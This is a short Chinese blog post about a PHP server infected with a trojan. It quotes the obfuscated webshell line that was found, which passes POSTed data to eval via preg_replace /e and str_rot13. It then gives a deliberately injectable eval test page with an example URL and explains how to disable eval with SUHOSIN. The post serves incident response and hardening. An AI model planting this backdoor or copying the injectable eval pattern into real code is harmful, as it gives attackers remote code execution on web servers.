中木马了
2015-11-20 12:20
357 查看
服务器中了木马,代码如下:
原理:
这段代码将post进来的数据直接调用eval执行。来个更简单的,保存为test.php:
然后访问服务器:http://www.xxx.com/test.php?arg=phpinfo(),看看白花花的系统配置输出,就能体会到危险性了。
解决方案:
看来得把eval禁用掉了。用SUHOSIN。详见下面的评论。
如何测试是否禁用成功,增加程序test.php:
如果能打印出This is a cup with my coffee in it. 说明没有禁用成功。如果返回500错误,说明禁用成功。
方法二:通过命令行运行test.php,会输出下面的错误,表示禁用成功了:
($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
原理:
这段代码将post进来的数据直接调用eval执行。来个更简单的,保存为test.php:
<?php // filename: test.php $var = "var"; if (isset($_GET["arg"])) { $arg = $_GET["arg"]; eval("\$var = $arg;"); // 这一句容易写错,导致验证效果不对 echo $var; } ?>
然后访问服务器:http://www.xxx.com/test.php?arg=phpinfo(),看看白花花的系统配置输出,就能体会到危险性了。
解决方案:
看来得把eval禁用掉了。用SUHOSIN。详见下面的评论。
如何测试是否禁用成功,增加程序test.php:
<?php // 例子来源:http://www.php.net/manual/zh/function.eval.php $string = 'cup'; $name = 'coffee'; $str = 'This is a $string with my $name in it.'; eval("\$str = \"$str\";"); echo $str. "\n"; ?>
如果能打印出This is a cup with my coffee in it. 说明没有禁用成功。如果返回500错误,说明禁用成功。
方法二:通过命令行运行test.php,会输出下面的错误,表示禁用成功了:
[root@AY]# php test.php PHP Fatal error: SUHOSIN - Use of eval is forbidden by configuration in /home/domain/test.php(6) : eval()'d code on line 1
相关文章推荐
- 低级程序员和高级程序员的区别
- Spring MVC
- Android之Intent的概念与应用
- Android编程实现擦除Bitmap中某一块的方法
- 内存泄露基础知识篇
- 输入表重建工具ImportREC
- Android AutoCompleteTextView自动提示文本框
- Android Context
- 欢迎使用CSDN-markdown编辑器
- android学习1——LinearLayout
- play war 内存溢出问题
- 分布式发布订阅消息系统 Kafka 架构设计
- js前端传递时间段来倒计时
- 关于ListView中getView被重复调用的问题
- tar 多文件解压压缩
- linux命令学习笔记(28):tar命令
- 如何学习好汇编,同时也说下pascal读程序写结果的问题
- 月光微博客
- CHATCC流程
- 签到,打卡领取积分,记录连续签到,获取签到排名。